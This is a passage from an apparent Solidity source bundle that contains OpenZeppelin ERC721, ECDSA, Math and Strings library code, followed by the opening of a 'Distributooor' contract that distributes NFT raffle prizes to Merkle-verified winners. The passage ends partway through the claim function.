@dev Transfers `tokenId` token from `from` to `to`.\n *\n * WARNING: Note that the caller is responsible to confirm that the recipient is capable of receiving ERC721\n * or else they may be permanently lost. Usage of {safeTransferFrom} prevents loss, though the caller must\n * understand this adds an external call which potentially creates a reentrancy vulnerability.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) external;\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) external;\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool _approved) external;\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId) external view returns (address operator);\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}\n */\n function isApprovedForAll(address owner, address operator) external view returns (bool);\n}\n"
|
24 |
+
},
|
25 |
+
"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol": {
|
26 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @title ERC721 token receiver interface\n * @dev Interface for any contract that wants to support safeTransfers\n * from ERC721 asset contracts.\n */\ninterface IERC721Receiver {\n /**\n * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}\n * by `operator` from `from`, this function is called.\n *\n * It must return its Solidity selector to confirm the token transfer.\n * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.\n *\n * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.\n */\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
|
27 |
+
},
|
28 |
+
"@openzeppelin/contracts/utils/cryptography/ECDSA.sol": {
|
29 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/cryptography/ECDSA.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../Strings.sol\";\n\n/**\n * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.\n *\n * These functions can be used to verify that a message was signed by the holder\n * of the private keys of a given address.\n */\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS,\n InvalidSignatureV // Deprecated in v4.8\n }\n\n function _throwError(RecoverError error) private pure {\n if (error == RecoverError.NoError) {\n return; // no error: do nothing\n } else if (error == RecoverError.InvalidSignature) {\n revert(\"ECDSA: invalid signature\");\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert(\"ECDSA: invalid signature length\");\n } else if (error == RecoverError.InvalidSignatureS) {\n revert(\"ECDSA: invalid signature 's' value\");\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature` or error string. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n *\n * Documentation for signature generation:\n * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]\n * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]\n *\n * _Available since v4.3._\n */\n function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {\n if (signature.length == 65) {\n bytes32 r;\n bytes32 s;\n uint8 v;\n // ecrecover takes the signature parameters, and the only way to get them\n // currently is to use assembly.\n /// @solidity memory-safe-assembly\n assembly {\n r := mload(add(signature, 0x20))\n s := mload(add(signature, 0x40))\n v := byte(0, mload(add(signature, 0x60)))\n }\n return tryRecover(hash, v, r, s);\n } else {\n return (address(0), RecoverError.InvalidSignatureLength);\n }\n }\n\n /**\n * @dev Returns the address that signed a hashed message (`hash`) with\n * `signature`. This address can then be used for verification purposes.\n *\n * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:\n * this function rejects them by requiring the `s` value to be in the lower\n * half order, and the `v` value to be either 27 or 28.\n *\n * IMPORTANT: `hash` _must_ be the result of a hash operation for the\n * verification to be secure: it is possible to craft signatures that\n * recover to arbitrary addresses for non-hashed data. A safe way to ensure\n * this is by receiving a hash of the original message (which may otherwise\n * be too long), and then calling {toEthSignedMessageHash} on it.\n */\n function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, signature);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.\n *\n * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]\n *\n * _Available since v4.3._\n */\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address, RecoverError) {\n bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n return tryRecover(hash, v, r, s);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.\n *\n * _Available since v4.2._\n */\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, r, vs);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Overload of {ECDSA-tryRecover} that receives the `v`,\n * `r` and `s` signature fields separately.\n *\n * _Available since v4.3._\n */\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError) {\n // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature\n // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines\n // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most\n // signatures from current libraries generate a unique signature with an s-value in the lower half order.\n //\n // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value\n // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or\n // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept\n // these malleable signatures as well.\n if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {\n return (address(0), RecoverError.InvalidSignatureS);\n }\n\n // If the signature is valid (and not malleable), return the signer address\n address signer = ecrecover(hash, v, r, s);\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature);\n }\n\n return (signer, RecoverError.NoError);\n }\n\n /**\n * @dev Overload of {ECDSA-recover} that receives the `v`,\n * `r` and `s` signature fields separately.\n */\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error) = tryRecover(hash, v, r, s);\n _throwError(error);\n return recovered;\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from a `hash`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {\n // 32 is the length in bytes of hash,\n // enforced by the type signature above\n return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash));\n }\n\n /**\n * @dev Returns an Ethereum Signed Message, created from `s`. This\n * produces hash corresponding to the one signed with the\n * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]\n * JSON-RPC method as part of EIP-191.\n *\n * See {recover}.\n */\n function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n\", Strings.toString(s.length), s));\n }\n\n /**\n * @dev Returns an Ethereum Signed Typed Data, created from a\n * `domainSeparator` and a `structHash`. This produces hash corresponding\n * to the one signed with the\n * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]\n * JSON-RPC method as part of EIP-712.\n *\n * See {recover}.\n */\n function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(\"\\x19\\x01\", domainSeparator, structHash));\n }\n}\n"
|
30 |
+
},
|
31 |
+
"@openzeppelin/contracts/utils/introspection/IERC165.sol": {
|
32 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
|
33 |
+
},
|
34 |
+
"@openzeppelin/contracts/utils/math/Math.sol": {
|
35 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/Math.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard math utilities missing in the Solidity language.\n */\nlibrary Math {\n enum Rounding {\n Down, // Toward negative infinity\n Up, // Toward infinity\n Zero // Toward zero\n }\n\n /**\n * @dev Returns the largest of two numbers.\n */\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two numbers.\n */\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two numbers. The result is rounded towards\n * zero.\n */\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b) / 2 can overflow.\n return (a & b) + (a ^ b) / 2;\n }\n\n /**\n * @dev Returns the ceiling of the division of two numbers.\n *\n * This differs from standard division with `/` in that it rounds up instead\n * of rounding down.\n */\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n // (a + b - 1) / b can overflow on addition, so we distribute.\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n /**\n * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0\n * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv)\n * with further edits by Uniswap Labs also under MIT license.\n */\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use\n // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256\n // variables such that product = prod1 * 2^256 + prod0.\n uint256 prod0; // Least significant 256 bits of the product\n uint256 prod1; // Most significant 256 bits of the product\n assembly {\n let mm := mulmod(x, y, not(0))\n prod0 := mul(x, y)\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n // Handle non-overflow cases, 256 by 256 division.\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n // Make sure the result is less than 2^256. Also prevents denominator == 0.\n require(denominator > prod1);\n\n ///////////////////////////////////////////////\n // 512 by 256 division.\n ///////////////////////////////////////////////\n\n // Make division exact by subtracting the remainder from [prod1 prod0].\n uint256 remainder;\n assembly {\n // Compute remainder using mulmod.\n remainder := mulmod(x, y, denominator)\n\n // Subtract 256 bit number from 512 bit number.\n prod1 := sub(prod1, gt(remainder, prod0))\n prod0 := sub(prod0, remainder)\n }\n\n // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1.\n // See https://cs.stackexchange.com/q/138556/92363.\n\n // Does not overflow because the denominator cannot be zero at this stage in the function.\n uint256 twos = denominator & (~denominator + 1);\n assembly {\n // Divide denominator by twos.\n denominator := div(denominator, twos)\n\n // Divide [prod1 prod0] by twos.\n prod0 := div(prod0, twos)\n\n // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n // Shift in bits from prod1 into prod0.\n prod0 |= prod1 * twos;\n\n // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such\n // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for\n // four bits. That is, denominator * inv = 1 mod 2^4.\n uint256 inverse = (3 * denominator) ^ 2;\n\n // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works\n // in modular arithmetic, doubling the correct bits in each step.\n inverse *= 2 - denominator * inverse; // inverse mod 2^8\n inverse *= 2 - denominator * inverse; // inverse mod 2^16\n inverse *= 2 - denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10**64) {\n value /= 10**64;\n result += 64;\n }\n if (value >= 10**32) {\n value /= 10**32;\n result += 32;\n }\n if (value >= 10**16) {\n value /= 10**16;\n result += 16;\n }\n if (value >= 10**8) {\n value /= 10**8;\n result += 8;\n }\n if (value >= 10**4) {\n value /= 10**4;\n result += 4;\n }\n if (value >= 10**2) {\n value /= 10**2;\n result += 2;\n }\n if (value >= 10**1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10**result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result * 8) < value ? 1 : 0);\n }\n }\n}\n"
|
36 |
+
},
|
37 |
+
"@openzeppelin/contracts/utils/Strings.sol": {
|
38 |
+
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/Math.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n}\n"
|
39 |
+
},
|
40 |
+
"contracts/distributors/Distributooor.sol": {
|
41 |
+
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity 0.8.17;\n\nimport {Strings} from \"@openzeppelin/contracts/utils/Strings.sol\";\nimport {IERC721} from \"@openzeppelin/contracts/token/ERC721/IERC721.sol\";\nimport {IERC1155} from \"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\";\nimport {IERC721Receiver} from \"@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol\";\nimport {IERC1155Receiver} from \"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\";\nimport {Initializable} from \"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol\";\nimport {OwnableUpgradeable} from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport {ECDSA} from \"@openzeppelin/contracts/utils/cryptography/ECDSA.sol\";\nimport {IRaffleChef} from \"../interfaces/IRaffleChef.sol\";\nimport {TypeAndVersion} from \"../interfaces/TypeAndVersion.sol\";\nimport {IRandomiser} from \"../interfaces/IRandomiser.sol\";\nimport {IRandomiserCallback} from \"../interfaces/IRandomiserCallback.sol\";\nimport {IDistributooor} from \"../interfaces/IDistributooor.sol\";\nimport {IDistributooorFactory} from \"../interfaces/IDistributooorFactory.sol\";\n\n// solhint-disable not-rely-on-time\n// solhint-disable no-inline-assembly\n\n/// @title Distributooor\n/// @notice Base contract that implements helpers to consume a raffle from a\n/// {RaffleChef}. Keeps track of participants that have claimed a winning\n/// (and prevents them from claiming twice).\ncontract Distributooor is\n IDistributooor,\n IERC721Receiver,\n IERC1155Receiver,\n IRandomiserCallback,\n TypeAndVersion,\n Initializable,\n OwnableUpgradeable\n{\n using Strings for uint256;\n using Strings for address;\n\n /// @notice Type of prize\n enum PrizeType {\n ERC721,\n ERC1155\n }\n\n address public distributooorFactory;\n /// @notice {RaffleChef} instance to consume\n address public raffleChef;\n /// @notice Raffle ID corresponding to a raffle in {RaffleChef}\n uint256 public raffleId;\n /// @notice Randomiser\n address public randomiser;\n /// @notice Track whether a given leaf (representing a participant) has\n /// claimed or not\n mapping(bytes32 => bool) public hasClaimed;\n\n /// @notice Array of bytes representing prize data\n bytes[] private prizes;\n\n /// @notice Due date (block timestamp) after which the raffle is allowed\n /// to be performed. CANNOT be changed after initialisation.\n uint256 public raffleActivationTimestamp;\n /// @notice The block timestamp after which the owner may reclaim the\n /// prizes from this contract. CANNOT be changed after initialisation.\n uint256 public prizeExpiryTimestamp;\n\n /// @notice Committed merkle root from collector\n bytes32 public merkleRoot;\n /// @notice Commited number of entries from collector\n uint256 public nParticipants;\n /// @notice Committed provenance\n string public provenance;\n\n /// @notice VRF request ID\n uint256 public randRequestId;\n /// @notice Timestamp of last VRF requesst\n uint256 public lastRandRequest;\n\n uint256[37] private __Distributooor_gap;\n\n event Claimed(\n address claimooor,\n uint256 originalIndex,\n uint256 permutedIndex\n );\n\n error ERC721NotReceived(address nftContract, uint256 tokenId);\n error ERC1155NotReceived(\n address nftContract,\n uint256 tokenId,\n uint256 amount\n );\n error InvalidPrizeType(uint8 prizeType);\n error InvalidTimestamp(uint256 timestamp);\n error RaffleActivationPending(uint256 secondsLeft);\n error PrizeExpiryTimestampPending(uint256 secondsLeft);\n error IncorrectSignatureLength(uint256 sigLength);\n error InvalidRandomWords(uint256[] randomWords);\n error RandomnessAlreadySet(\n uint256 existingRandomness,\n uint256 newRandomness\n );\n error UnknownRandomiser(address randomiser);\n error RandomRequestInFlight(uint256 requestId);\n\n constructor() {\n _disableInitializers();\n }\n\n function init(\n address raffleOwner,\n address raffleChef_,\n address randomiser_,\n uint256 raffleActivationTimestamp_,\n uint256 prizeExpiryTimestamp_\n ) public initializer {\n bool isActivationInThePast = raffleActivationTimestamp_ <=\n block.timestamp;\n bool isActivationOnOrAfterExpiry = raffleActivationTimestamp_ >=\n prizeExpiryTimestamp_;\n bool isClaimDurationTooShort = prizeExpiryTimestamp_ -\n raffleActivationTimestamp_ <\n 1 hours;\n if (\n raffleActivationTimestamp_ == 0 ||\n isActivationInThePast ||\n isActivationOnOrAfterExpiry ||\n isClaimDurationTooShort\n ) {\n revert InvalidTimestamp(raffleActivationTimestamp_);\n }\n if (prizeExpiryTimestamp_ == 0) {\n revert InvalidTimestamp(prizeExpiryTimestamp_);\n }\n\n __Ownable_init();\n _transferOwnership(raffleOwner);\n\n // Assumes that the DistributooorFactory is the deployer\n distributooorFactory = _msgSender();\n raffleChef = raffleChef_;\n randomiser = randomiser_;\n raffleActivationTimestamp = raffleActivationTimestamp_;\n prizeExpiryTimestamp = prizeExpiryTimestamp_;\n }\n\n /// @notice See {TypeAndVersion-typeAndVersion}\n function typeAndVersion()\n external\n pure\n virtual\n override\n returns (string memory)\n {\n return \"Distributooor 1.1.0\";\n }\n\n /// @notice {IERC165-supportsInterface}\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == type(TypeAndVersion).interfaceId ||\n interfaceId == type(IERC721Receiver).interfaceId ||\n interfaceId == type(IERC1155Receiver).interfaceId;\n }\n\n /// @notice Revert if raffle has not yet been finalised\n modifier onlyCommittedRaffle() {\n uint256 raffleId_ = raffleId;\n require(\n raffleId_ != 0 &&\n IRaffleChef(raffleChef).getRaffleState(raffleId_) ==\n IRaffleChef.RaffleState.Committed,\n \"Raffle is not yet finalised\"\n );\n _;\n }\n\n /// @notice Revert if raffle has not yet reached activation\n modifier onlyAfterActivation() {\n if (!isReadyForActivation()) {\n revert RaffleActivationPending(\n raffleActivationTimestamp - block.timestamp\n );\n }\n _;\n }\n\n /// @notice Revert if raffle has not passed its deadline\n modifier onlyAfterExpiry() {\n if (!isPrizeExpired()) {\n revert PrizeExpiryTimestampPending(\n prizeExpiryTimestamp - block.timestamp\n );\n }\n _;\n }\n\n modifier onlyFactory() {\n if (_msgSender() != distributooorFactory) {\n revert Unauthorised(_msgSender());\n }\n _;\n }\n\n function isReadyForActivation() public view returns (bool) {\n return block.timestamp >= raffleActivationTimestamp;\n }\n\n function isPrizeExpired() public view returns (bool) {\n return block.timestamp >= prizeExpiryTimestamp;\n }\n\n /// @notice Verify that a proof is valid, and that it is part of the set of\n /// winners. Revert otherwise. A winner is defined as an account that\n /// has a shuffled index x' s.t. x' < nWinners\n /// @param leaf The leaf value representing the participant\n /// @param index Index of account in original participants list\n /// @param proof Merkle proof of inclusion of account in original\n /// participants list\n /// @return permuted index\n function _verifyAndRecordClaim(\n bytes32 leaf,\n uint256 index,\n bytes32[] memory proof\n ) internal virtual onlyCommittedRaffle returns (uint256) {\n (bool isWinner, uint256 permutedIndex) = IRaffleChef(raffleChef)\n .verifyRaffleWinner(raffleId, leaf, proof, index);\n // Nullifier identifies a unique entry in the merkle tree\n bytes32 nullifier = keccak256(abi.encode(leaf, index));\n require(isWinner, \"Not a raffle winner\");\n require(!hasClaimed[nullifier], \"Already claimed\");\n hasClaimed[nullifier] = true;\n return permutedIndex;\n }\n\n /// @notice Check if preimage of `leaf` is a winner\n /// @param leaf Hash of entry\n /// @param index Index of account in original participants list\n /// @param proof Merkle proof of inclusion of account in original\n /// participants list\n function check(\n bytes32 leaf,\n uint256 index,\n bytes32[] calldata proof\n )\n external\n view\n onlyCommittedRaffle\n returns (bool isWinner, uint256 permutedIndex)\n {\n (isWinner, permutedIndex) = IRaffleChef(raffleChef).verifyRaffleWinner(\n raffleId,\n leaf,\n proof,\n index\n );\n }\n\n function checkSig(\n address expectedSigner,\n bytes32 messageHash,\n bytes calldata signature\n ) public pure returns (bool, address) {\n // signature should be in the format (r,s,v)\n address recoveredSigner = ECDSA.recover(messageHash, signature);\n bool isValid = expectedSigner == recoveredSigner;\n return (isValid, recoveredSigner);\n }\n\n /// @notice Claim a prize from the contract. The caller must be included in\n /// the Merkle tree of participants.\n /// @param index IndpermutedIndexccount in original participants list\n /// @param proof Merkle proof of inclusion of account in original\n /// participants list\n function claim(\n uint256 index,\n bytes32[] calldata proof\n ) external onlyCommittedRaffle {\n address claimooor = _msgSender();\n bytes32 hashedLeaf = keccak256(abi.encodePacked(claimooor));\n\n uint256 permutedIndex = _verifyAndRecordClaim(hashedLeaf, index, proof);\n\n // Decode the prize & transfer it to claimooor\n bytes memory rawPrize = prizes[permutedIndex];\n PrizeType prizeType = _getPrizeType(rawPrize);\n if (prizeType == PrizeType.ERC721) {\n (address nftContract, uint256 tokenId) = _getERC721Prize(rawPrize);\n IERC721(nftContract).safeTransferFrom(\n address(this),\n 